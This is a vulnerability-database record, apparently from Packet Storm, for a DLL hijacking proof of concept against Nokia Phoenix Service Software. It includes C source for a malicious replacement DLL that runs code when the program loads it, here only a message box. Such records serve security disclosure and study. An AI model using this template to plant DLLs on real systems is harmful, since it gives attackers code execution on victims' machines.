{"id": "PACKETSTORM:129765", "vendorId": null, "type": "packetstorm", "bulletinFamily": "exploit", "title": "Phoenix Service Software 2012.16.004.48159(Nokia) DLL Hijacking", "description": "", "published": "2014-12-30T00:00:00", "modified": "2014-12-30T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "cvss2": {}, "cvss3": {}, "href": "https://packetstormsecurity.com/files/129765/Phoenix-Service-Software-2012.16.004.48159-Nokia-DLL-Hijacking.html", "reporter": "Hadji Samir", "references": [], "cvelist": [], "immutableFields": [], "lastseen": "2016-11-03T10:29:36", "viewCount": 9, "enchantments": {"score": {"value": 0.8, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.8}, "_state": {"dependencies": 1678912101, "score": 1678911848, "epss": 1678924918}, "_internal": {"score_hash": "57fbe7a6f4794f56635e4f3034519d95"}, "sourceHref": "https://packetstormsecurity.com/files/download/129765/phoenixss-dllhijack.txt", "sourceData": "` \n/* \n* Exploit Title: Phoenix Service Software 2012.16.004.48159(Nokia) DLL Hijacking Exploit (phoenix_resources.dll,iagnostic_log.dll,phoenix_resources.dll,diagnostic_log.dll) \n* Date: 25/12/2014 \n* Author:Hadji Samir s-dz@hotmail.fr \n \n* Version: 2012.16.004.48159 \n* Vendor Homepage: http://www.Nokia.com/ \n* Tested on: Windows 7 \n \n*/ \n \n#include <windows.h> \n \nBOOL WINAPI DllMain ( \nHANDLE hinstDLL, \nDWORD fdwReason, \nLPVOID lpvReserved) \n{ \nswitch (fdwReason) \n{ \ncase DLL_PROCESS_ATTACH: \nowned(); \ncase DLL_THREAD_ATTACH: \ncase DLL_THREAD_DETACH: \ncase DLL_PROCESS_DETACH: \nbreak; \n} \nreturn TRUE; \n} \n \nint owned() { \nMessageBox(0, \"Phoenix DLL Hijacked\\Hadji Samir\", \"POC\", MB_OK); \n} \n`\n"}
{}